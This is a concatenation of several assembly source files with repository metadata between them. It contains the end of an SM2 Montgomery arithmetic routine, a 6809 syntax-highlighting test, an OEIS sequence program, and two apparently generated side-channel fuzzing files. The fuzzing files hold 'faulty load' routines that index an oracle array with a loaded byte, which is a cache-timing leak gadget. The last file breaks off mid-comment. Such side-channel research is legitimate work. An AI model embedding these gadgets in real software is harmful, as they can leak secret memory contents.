%r13 adc $(0), %r14 movq (24)(%rsi), %rax mul %rax add %rax, %r14 adc %rdx, %r15 mov %r8, %rax mov %r8, %rcx mov %r8, %rdx xor %rbp, %rbp xor %rbx, %rbx shl $(32), %r8 shr $(32), %rax sub %r8, %rcx sbb %rax, %rbp sbb %r8, %rbx sbb %rax, %rdx xor %r8, %r8 add %rcx, %r9 adc %rbp, %r10 adc %rbx, %r11 adc %rdx, %r12 adc $(0), %r8 mov %r9, %rax mov %r9, %rcx mov %r9, %rdx xor %rbp, %rbp xor %rbx, %rbx shl $(32), %r9 shr $(32), %rax sub %r9, %rcx sbb %rax, %rbp sbb %r9, %rbx sbb %rax, %rdx xor %r9, %r9 add %rcx, %r10 adc %rbp, %r11 adc %rbx, %r12 adc %rdx, %r13 adc $(0), %r9 add %r8, %r13 adc $(0), %r9 mov %r10, %rax mov %r10, %rcx mov %r10, %rdx xor %rbp, %rbp xor %rbx, %rbx shl $(32), %r10 shr $(32), %rax sub %r10, %rcx sbb %rax, %rbp sbb %r10, %rbx sbb %rax, %rdx xor %r10, %r10 add %rcx, %r11 adc %rbp, %r12 adc %rbx, %r13 adc %rdx, %r14 adc $(0), %r10 add %r9, %r14 adc $(0), %r10 mov %r11, %rax mov %r11, %rcx mov %r11, %rdx xor %rbp, %rbp xor %rbx, %rbx shl $(32), %r11 shr $(32), %rax sub %r11, %rcx sbb %rax, %rbp sbb %r11, %rbx sbb %rax, %rdx xor %r11, %r11 add %rcx, %r12 adc %rbp, %r13 adc %rbx, %r14 adc %rdx, %r15 adc $(0), %r11 add %r10, %r15 adc $(0), %r11 movq Lpoly+0(%rip), %rcx movq Lpoly+8(%rip), %rbp movq Lpoly+16(%rip), %rbx movq Lpoly+24(%rip), %rdx mov %r12, %rax mov %r13, %r8 mov %r14, %r9 mov %r15, %r10 sub %rcx, %rax sbb %rbp, %r8 sbb %rbx, %r9 sbb %rdx, %r10 sbb $(0), %r11 cmovnc %rax, %r12 cmovnc %r8, %r13 cmovnc %r9, %r14 cmovnc %r10, %r15 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r14, (16)(%rdi) movq %r15, (24)(%rdi) vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe10: .size sm2_sqr_montl, .Lfe10-(sm2_sqr_montl) .p2align 5, 0x90 .globl sm2_sqr_montx .type sm2_sqr_montx, @function sm2_sqr_montx: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 movq (%rsi), %rdx mulxq (8)(%rsi), %r9, %r10 mulxq (16)(%rsi), %rcx, %r11 add %rcx, %r10 mulxq (24)(%rsi), %rcx, %r12 adc %rcx, %r11 adc $(0), %r12 movq (8)(%rsi), %rdx xor %r13, %r13 mulxq (16)(%rsi), %rcx, %rbp adcx %rcx, %r11 adox %rbp, %r12 mulxq (24)(%rsi), %rcx, %rbp adcx %rcx, %r12 adox %rbp, %r13 adc $(0), %r13 movq (16)(%rsi), %rdx mulxq (24)(%rsi), %rcx, %r14 add %rcx, %r13 adc $(0), %r14 xor %r15, %r15 shld $(1), %r14, %r15 shld $(1), %r13, %r14 shld $(1), %r12, %r13 shld $(1), %r11, %r12 shld $(1), %r10, %r11 shld $(1), %r9, %r10 shl $(1), %r9 xor %r8, %r8 movq (%rsi), %rdx mulx %rdx, %r8, %rbp adcx %rbp, %r9 movq (8)(%rsi), %rdx mulx %rdx, %rcx, %rbp adcx %rcx, %r10 adcx %rbp, %r11 movq (16)(%rsi), %rdx mulx %rdx, %rcx, %rbp adcx %rcx, %r12 adcx %rbp, %r13 movq (24)(%rsi), %rdx mulx %rdx, %rcx, %rbp adcx %rcx, %r14 adcx %rbp, %r15 mov %r8, %rax mov %r8, %rcx mov %r8, %rdx xor %rbp, %rbp xor %rbx, %rbx shl $(32), %r8 shr $(32), %rax sub %r8, %rcx sbb %rax, %rbp sbb %r8, %rbx sbb %rax, %rdx xor %r8, %r8 add %rcx, %r9 adc %rbp, %r10 adc %rbx, %r11 adc %rdx, %r12 adc $(0), %r8 mov %r9, %rax mov %r9, %rcx mov %r9, %rdx xor %rbp, %rbp xor %rbx, %rbx shl $(32), %r9 shr $(32), %rax sub %r9, %rcx sbb %rax, %rbp sbb %r9, %rbx sbb %rax, %rdx xor %r9, %r9 add %rcx, %r10 adc %rbp, %r11 adc %rbx, %r12 adc %rdx, %r13 adc $(0), %r9 add %r8, %r13 adc $(0), %r9 mov %r10, %rax mov %r10, %rcx mov %r10, %rdx xor %rbp, %rbp xor %rbx, %rbx shl $(32), %r10 shr $(32), %rax sub %r10, %rcx sbb %rax, %rbp sbb %r10, %rbx sbb %rax, %rdx xor %r10, %r10 add %rcx, %r11 adc %rbp, %r12 adc %rbx, %r13 adc %rdx, %r14 adc $(0), %r10 add %r9, %r14 adc $(0), %r10 mov %r11, %rax mov %r11, %rcx mov %r11, %rdx xor %rbp, %rbp xor %rbx, %rbx shl $(32), %r11 shr $(32), %rax sub %r11, %rcx sbb %rax, %rbp sbb %r11, %rbx sbb %rax, %rdx xor %r11, %r11 add %rcx, %r12 adc %rbp, %r13 adc %rbx, %r14 adc %rdx, %r15 adc $(0), %r11 add %r10, %r15 adc $(0), %r11 movq Lpoly+0(%rip), %rcx movq Lpoly+8(%rip), %rbp movq Lpoly+16(%rip), %rbx movq Lpoly+24(%rip), %rdx mov %r12, %rax mov %r13, %r8 mov %r14, %r9 mov %r15, %r10 sub %rcx, %rax sbb %rbp, %r8 sbb %rbx, %r9 sbb %rdx, %r10 sbb $(0), %r11 cmovnc %rax, %r12 cmovnc %r8, %r13 cmovnc %r9, %r14 cmovnc %r10, %r15 movq %r12, (%rdi) movq %r13, (8)(%rdi) movq %r14, (16)(%rdi) movq %r15, (24)(%rdi) vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe11: .size sm2_sqr_montx, .Lfe11-(sm2_sqr_montx) .p2align 5, 0x90 .globl sm2_mont_back .type sm2_mont_back, @function sm2_mont_back: push %rbp push %rbx push %r12 push %r13 push %r14 push %r15 movq (%rsi), %r10 movq (8)(%rsi), %r11 movq (16)(%rsi), %r12 movq (24)(%rsi), %r13 xor %r8, %r8 xor %r9, %r9 mov %r10, %r14 shl $(32), %r14 mov %r10, %r15 shr $(32), %r15 mov %r10, %rcx mov %r10, %rax xor %rbp, %rbp xor %rdx, %rdx sub %r14, %rcx sbb %r15, %rbp sbb %r14, %rdx sbb %r15, %rax add %rcx, %r11 adc %rbp, %r12 adc %rdx, %r13 adc %rax, %r8 adc $(0), %r9 xor %r10, %r10 mov %r11, %r14 shl $(32), %r14 mov %r11, %r15 shr $(32), %r15 mov %r11, %rcx mov %r11, %rax xor %rbp, %rbp xor %rdx, %rdx sub %r14, %rcx sbb %r15, %rbp sbb %r14, %rdx sbb %r15, %rax add %rcx, %r12 adc %rbp, %r13 adc %rdx, %r8 adc %rax, %r9 adc $(0), %r10 xor %r11, %r11 mov %r12, %r14 shl $(32), %r14 mov %r12, %r15 shr $(32), %r15 mov %r12, %rcx mov %r12, %rax xor %rbp, %rbp xor %rdx, %rdx sub %r14, %rcx sbb %r15, %rbp sbb %r14, %rdx sbb %r15, %rax add %rcx, %r13 adc %rbp, %r8 adc %rdx, %r9 adc %rax, %r10 adc $(0), %r11 xor %r12, %r12 mov %r13, %r14 shl $(32), %r14 mov %r13, %r15 shr $(32), %r15 mov %r13, %rcx mov %r13, %rax xor %rbp, %rbp xor %rdx, %rdx sub %r14, %rcx sbb %r15, %rbp sbb %r14, %rdx sbb %r15, %rax add %rcx, %r8 adc %rbp, %r9 adc %rdx, %r10 adc %rax, %r11 adc $(0), %r12 xor %r13, %r13 mov %r8, %rcx mov %r9, %rbp mov %r10, %rbx mov %r11, %rdx subq Lpoly+0(%rip), %rcx sbbq Lpoly+8(%rip), %rbp sbbq Lpoly+16(%rip), %rbx sbbq Lpoly+24(%rip), %rdx sbb $(0), %r12 cmovnc %rcx, %r8 cmovnc %rbp, %r9 cmovnc %rbx, %r10 cmovnc %rdx, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) vzeroupper pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx pop %rbp ret .Lfe12: .size sm2_mont_back, .Lfe12-(sm2_mont_back) .p2align 5, 0x90 .globl sm2_select_pp_w5 .type sm2_select_pp_w5, @function sm2_select_pp_w5: push %r12 push %r13 movdqa LOne(%rip), %xmm0 movdqa %xmm0, %xmm8 movd %edx, %xmm1 pshufd $(0), %xmm1, %xmm1 pxor %xmm2, %xmm2 pxor %xmm3, %xmm3 pxor %xmm4, %xmm4 pxor %xmm5, %xmm5 pxor %xmm6, %xmm6 pxor %xmm7, %xmm7 mov $(16), %rcx .Lselect_loop_sse_w5gas_13: movdqa %xmm8, %xmm15 pcmpeqd %xmm1, %xmm15 paddd %xmm0, %xmm8 movdqa (%rsi), %xmm9 movdqa (16)(%rsi), %xmm10 movdqa (32)(%rsi), %xmm11 movdqa (48)(%rsi), %xmm12 movdqa (64)(%rsi), %xmm13 movdqa (80)(%rsi), %xmm14 add $(96), %rsi pand %xmm15, %xmm9 pand %xmm15, %xmm10 pand %xmm15, %xmm11 pand %xmm15, %xmm12 pand %xmm15, %xmm13 pand %xmm15, %xmm14 por %xmm9, %xmm2 por %xmm10, %xmm3 por %xmm11, %xmm4 por %xmm12, %xmm5 por %xmm13, %xmm6 por %xmm14, %xmm7 dec %rcx jnz .Lselect_loop_sse_w5gas_13 movdqu %xmm2, (%rdi) movdqu %xmm3, (16)(%rdi) movdqu %xmm4, (32)(%rdi) movdqu %xmm5, (48)(%rdi) movdqu %xmm6, (64)(%rdi) movdqu %xmm7, (80)(%rdi) vzeroupper pop %r13 pop %r12 ret .Lfe13: .size sm2_select_pp_w5, .Lfe13-(sm2_select_pp_w5)
25.411638
87
0.375456
[ "Apache-2.0" ]
ymarkovitch/ipp-crypto
sources/ippcp/asm_intel64_gas_converted/linux/nonpic/l9/singlecpu/pcpsm2pfuncs_montas.asm
35,373
Assembly
# SYNTAX TEST "Packages/Assembly-6809/Assembly-6809.sublime-syntax" # <- source.mc6809 ; Binary numbers (Prefixed with a "%" or suffixed with a "b" or "B") lda #%00001111 # ^ keyword.operator.immediate # ^ punctuation.definition.numeric.binary # ^^^^^^^^^ constant.numeric.binary lda #00001111b # ^ keyword.operator.immediate # ^^^^^^^^^ constant.numeric.binary # ^ punctuation.definition.numeric.binary lda #00001111B # ^ keyword.operator.immediate # ^^^^^^^^^ constant.numeric.binary # ^ punctuation.definition.numeric.binary ; Octual numbers (Prefixed with a "@" or suffixed with "Q", "q", "O" or "o") lda #23Q # ^ keyword.operator.immediate # ^^^ constant.numeric.octal # ^ punctuation.definition.numeric.octal lda #23q # ^ keyword.operator.immediate # ^^^ constant.numeric.octal # ^ punctuation.definition.numeric.octal lda #23o # ^ keyword.operator.immediate # ^^^ constant.numeric.octal # ^ punctuation.definition.numeric.octal lda #23O # ^ keyword.operator.immediate # ^^^ constant.numeric.octal # ^ punctuation.definition.numeric.octal lda #@23 # ^ keyword.operator.immediate # ^ punctuation.definition.numeric.octal # ^^^ constant.numeric.octal ; Decimal numbers (No prefix or suffix is required but can be prefixed with "&") lda #23 # ^ keyword.operator.immediate # ^^ constant.numeric.decimal ldd #63552 # ^ keyword.operator.immediate # ^^^^^ constant.numeric.decimal ldd #-1 # ^ keyword.operator.immediate # ^ keyword.operator.arithmetic # ^ constant.numeric.decimal ldd #&2342 # ^ keyword.operator.immediate # ^ punctuation.definition.numeric.decimal # ^^^^^ constant.numeric.decimal lda #2 # ^ keyword.operator.immediate # ^ constant.numeric.decimal ; Hex numbers (Prefixed with "$", "0x" or "0X", or suffixed with "H") lda #$23 # ^ keyword.operator.immediate # ^^^ constant.numeric.hexadecimal ldd #$ff20 # ^ keyword.operator.immediate # ^^^^^ constant.numeric.hexadecimal ldx #0xff20 # ^ keyword.operator.immediate # ^^ punctuation.definition.numeric.hexadecimal # ^^^^^^ constant.numeric.hexadecimal ldy #0Xa3df # ^ keyword.operator.immediate # ^^ punctuation.definition.numeric.hexadecimal # ^^^^^^ constant.numeric.hexadecimal ldu #-0xa231 # ^ keyword.operator.immediate # ^ keyword.operator.arithmetic # ^^ punctuation.definition.numeric.hexadecimal # ^^^^^^ constant.numeric.hexadecimal lds #0x2342 # ^ keyword.operator.immediate # ^^ punctuation.definition.numeric.hexadecimal # ^^^^^^ constant.numeric.hexadecimal ldq #2342h # ^ keyword.operator.immediate # ^^^^^ constant.numeric.hexadecimal # ^ punctuation.definition.numeric.hexadecimal ldw #42H # ^ keyword.operator.immediate # ^^^ constant.numeric.hexadecimal # ^ punctuation.definition.numeric.hexadecimal ; The ASCII value of a character can be included by prefixing it with a single ; quote (’). The ASCII values of two characters can be included by prefixing ; the characters with a quote ("). lda #'H+5 # ^ keyword.operator.immediate # ^ punctuation.definition.string.begin # ^^ string.quoted.single # ^ keyword.operator.arithmetic # ^ constant.numeric.decimal ldd #"AB" # ^ keyword.operator.immediate # ^ punctuation.definition.string.begin # ^^^^ string.quoted.double # ^ punctuation.definition.string.end ; A symbol may appear at any point where a number is acceptable. The special ; symbol "*" can be used to represent the starting address of the current ; source line within expressions. ldd #* ; LWASM supports the following basic binary operators: +, -, *, /, and %. ; These represent addition, subtraction, multiplication, division, and modulus. ; It also supports unary negation and unary 1’s complement (- and ^ ; respectively). It is also possible to use ~ for the unary 1’s complement ; operator. For completeness, a unary positive (+) is supported though it is a ; no-op. LWASM also supports using |, &, and ^ for bitwise or, bitwise and, and ; bitwise exclusive or respectively. ldd #444-33 # ^ keyword.operator.immediate # ^^^ constant.numeric.decimal # ^ keyword.operator.arithmetic # ^^ constant.numeric.decimal ldd #123+45 # ^ keyword.operator.immediate # ^^^ constant.numeric.decimal # ^ keyword.operator.arithmetic # ^^ constant.numeric.decimal ldd #100/10 # ^ keyword.operator.immediate # ^^^ constant.numeric.decimal # ^ keyword.operator.arithmetic # ^^ constant.numeric.decimal ldd #100%10 # ^ keyword.operator.immediate # ^^^ constant.numeric.decimal ; ^ keyword.operator.arithmetic ; ^^ constant.numeric.decimal ldd #-100 # ^ keyword.operator.immediate # ^ keyword.operator.arithmetic # ^^^ constant.numeric.decimal ldd #+100 # ^ keyword.operator.immediate # ^ keyword.operator.arithmetic # ^^^ constant.numeric.decimal ; Operator precedence follows the usual rules. Multiplication, division, and ; modulus take precedence over addition and subtraction. Unary operators take ; precedence over binary operators. Bitwise operators are lower precdence than ; addition and subtraction. To force a specific order of evaluation, ; parentheses can be used in the usual manner. ldd #(128+12)*25 # ^ keyword.operator.immediate # ^ punctuation.section.parens.begin # ^^^ constant.numeric.decimal # ^ keyword.operator.arithmetic # ^^ constant.numeric.decimal # ^ punctuation.section.parens.end # ^ keyword.operator.arithmetic # ^^ constant.numeric.decimal ldd #((223+21)/4)+$a0 # ^ keyword.operator.immediate # ^^ punctuation.section.parens.begin # ^^^ constant.numeric.decimal # ^ keyword.operator.arithmetic # ^^ constant.numeric.decimal # ^ punctuation.section.parens.end # ^ keyword.operator.arithmetic # ^ constant.numeric.decimal # ^ punctuation.section.parens.end # ^ keyword.operator.arithmetic # ^ punctuation.definition.numeric.hexadecimal # ^^^ constant.numeric.hexadecimal ldd #100%2 # ^ keyword.operator.immediate # ^^^ constant.numeric.decimal # ^ keyword.operator.arithmetic # ^ constant.numeric.decimal ; As of LWASM 2.5, the operators && and || are recognized for boolean and and ; boolean or respectively. They will return either 0 or 1 (false or true). They ; have the lowest precedence of all the binary operators. ldd #1&&3 # ^ keyword.operator.immediate # ^ constant.numeric.decimal # ^^ keyword.operator.arithmetic # ^ constant.numeric.decimal ldd #100||1 # ^ keyword.operator.immediate # ^^^ constant.numeric.decimal # ^^ keyword.operator.arithmetic # ^ constant.numeric.decimal
32.686957
80
0.625698
[ "MIT" ]
dougmasten/dougmasten-sublime-assembly-6809
tests/syntax_test_numbers.asm
7,524
Assembly
; A130744: a(n) = n*(n+2)*n!. ; 0,3,16,90,576,4200,34560,317520,3225600,35925120,435456000,5708102400,80472268800,1214269056000,19527937228800,333456963840000,6025763487744000,114887039275008000,2304854534062080000,48536395063123968000,1070476883597721600000,24676925068935659520000,593472384266576855040000,14864909624858861568000000,387159802681541410160640000,10470066779248415539200000000,293596183700168902705152000000,8525984779677569741881344000000,256106209473839642821263360000000,7948744032371992057134710784000000,254642745419703416290856140800000000 add $0,1 mov $2,$0 mov $3,136 lpb $0 mul $2,$0 lpb $3 sub $2,1 mov $3,3 lpe sub $0,1 lpe mov $0,$2
42.375
531
0.837758
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/130/A130744.asm
678
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x18204, %r15 nop nop nop and %rdx, %rdx mov $0x6162636465666768, %rdi movq %rdi, %xmm7 vmovups %ymm7, (%r15) nop dec %rdx lea addresses_UC_ht+0x145a4, %r10 nop nop nop add $17845, %r9 movw $0x6162, (%r10) nop nop inc %r15 lea addresses_normal_ht+0x1e484, %r15 nop nop nop dec %r13 mov (%r15), %rax nop nop nop nop sub %r9, %r9 lea addresses_A_ht+0x13204, %r15 xor $23045, %r9 mov (%r15), %r13d nop nop sub %r10, %r10 lea addresses_D_ht+0x184, %rdx nop nop and %r15, %r15 mov $0x6162636465666768, %rdi movq %rdi, %xmm7 movups %xmm7, (%rdx) nop nop nop nop and $39116, %rax lea addresses_A_ht+0xb204, %r15 nop nop nop nop nop add $65294, %r10 movb (%r15), %r9b nop nop nop nop xor $46868, %rdi lea addresses_WT_ht+0x10d04, %r15 add %r9, %r9 movl $0x61626364, (%r15) nop nop nop dec %r9 lea addresses_UC_ht+0x9c84, %rsi lea addresses_normal_ht+0x17f04, %rdi dec %r15 mov $127, %rcx rep movsw dec %rcx lea addresses_A_ht+0x65a8, %rsi lea addresses_WT_ht+0x1cf64, %rdi nop nop nop nop nop cmp $36108, %r15 mov $32, %rcx rep movsw nop nop nop and %r10, %r10 lea addresses_D_ht+0x8304, %rsi nop nop nop nop add $55417, %rdx mov (%rsi), %rdi nop nop nop nop nop cmp %r13, %r13 lea addresses_D_ht+0xe484, %rsi lea addresses_UC_ht+0x800c, %rdi nop nop add %r10, %r10 mov $66, %rcx rep movsb nop nop nop nop nop sub %r10, %r10 lea addresses_normal_ht+0x19782, %rsi lea addresses_A_ht+0x1b804, %rdi clflush (%rsi) nop nop nop nop nop dec %r13 mov $56, %rcx rep movsb nop nop nop nop and %rdx, %rdx lea addresses_UC_ht+0xa157, %r9 nop nop nop nop nop cmp %rcx, %rcx movb (%r9), %r10b nop nop nop nop sub %rdx, %rdx lea addresses_D_ht+0x4cd6, %rsi lea addresses_UC_ht+0x7944, %rdi clflush (%rsi) nop nop sub $37071, %r15 mov $1, %rcx rep movsw nop nop add %r13, %r13 lea addresses_D_ht+0x8604, %rsi lea addresses_WT_ht+0x1e884, %rdi nop nop nop nop nop dec %r9 mov $16, %rcx rep movsb nop nop nop nop nop cmp %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r8 push %rcx push %rdx // Faulty Load lea addresses_WC+0x14204, %rdx nop nop nop sub %r15, %r15 movups (%rdx), %xmm7 vpextrq $1, %xmm7, %r8 lea oracles, %r15 and $0xff, %r8 shlq $12, %r8 mov (%r15,%r8,1), %r8 pop %rdx pop %rcx pop %r8 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_WC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 32, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': True, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': True, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
31.897959
2,999
0.658221
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2359.asm
7,815
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0xf6b7, %rcx dec %r13 movl $0x61626364, (%rcx) nop nop nop nop inc %rdi lea addresses_D_ht+0x190ed, %rbx nop and $21991, %r9 mov $0x6162636465666768, %r8 movq %r8, %xmm6 movups %xmm6, (%rbx) nop nop nop nop xor $43467, %rcx lea addresses_D_ht+0x87cf, %r15 nop nop add %r13, %r13 movb $0x61, (%r15) nop nop cmp $15212, %r8 lea addresses_WT_ht+0x1c71d, %rsi lea addresses_A_ht+0x1d0d, %rdi nop sub %rbx, %rbx mov $68, %rcx rep movsw nop dec %r8 lea addresses_D_ht+0x1af8d, %rsi lea addresses_D_ht+0x19186, %rdi nop xor %r9, %r9 mov $61, %rcx rep movsw cmp $10118, %rsi lea addresses_A_ht+0x9e2d, %rbx nop nop nop inc %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm3 movups %xmm3, (%rbx) nop nop nop nop nop sub %r13, %r13 lea addresses_UC_ht+0xe98d, %rsi lea addresses_normal_ht+0x1960d, %rdi nop nop nop nop and $57608, %rbx mov $118, %rcx rep movsl nop nop nop nop nop add $37857, %rdi lea addresses_WC_ht+0x19cd5, %rsi lea addresses_WT_ht+0x1de8d, %rdi nop nop nop nop nop add $50853, %r9 mov $96, %rcx rep movsb sub $63208, %rcx lea addresses_D_ht+0x1290d, %rsi inc %r15 mov (%rsi), %r8w nop inc %r13 lea addresses_D_ht+0x1c30d, %rdi nop nop nop mfence mov $0x6162636465666768, %rbx movq %rbx, %xmm6 vmovups %ymm6, (%rdi) nop nop nop nop sub $6318, %r13 lea addresses_WC_ht+0xc8bd, %rsi lea addresses_WT_ht+0x19b8d, %rdi clflush (%rdi) nop nop nop nop sub $42074, %r8 mov $101, %rcx rep movsl lfence lea addresses_A_ht+0xc0ef, %rbx nop nop nop cmp $23212, %r15 mov (%rbx), %si nop nop nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x5f0d, %rsi lea addresses_A_ht+0x7b0d, %rdi and %r15, %r15 mov $48, %rcx rep movsl nop nop nop nop sub %rsi, %rsi lea addresses_A_ht+0x770d, %rsi nop nop nop nop nop and $53055, %r15 mov $0x6162636465666768, %rbx movq %rbx, (%rsi) nop nop nop nop nop and %r15, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rbp push %rbx push %rcx push %rdx // Store lea addresses_UC+0x1e635, %rbp nop nop nop cmp %rdx, %rdx mov $0x5152535455565758, %r11 movq %r11, %xmm1 movups %xmm1, (%rbp) nop nop nop nop and %r14, %r14 // Store lea addresses_PSE+0x1ed2d, %r15 clflush (%r15) nop nop nop nop nop cmp $42575, %rdx mov $0x5152535455565758, %r11 movq %r11, %xmm4 vmovups %ymm4, (%r15) nop nop nop nop nop sub $28571, %rdx // Faulty Load lea addresses_WC+0x230d, %r11 nop sub $58653, %rcx mov (%r11), %r15w lea oracles, %rbp and $0xff, %r15 shlq $12, %r15 mov (%rbp,%r15,1), %r15 pop %rdx pop %rcx pop %rbx pop %rbp pop %r15 pop %r14 pop %r11 ret /* 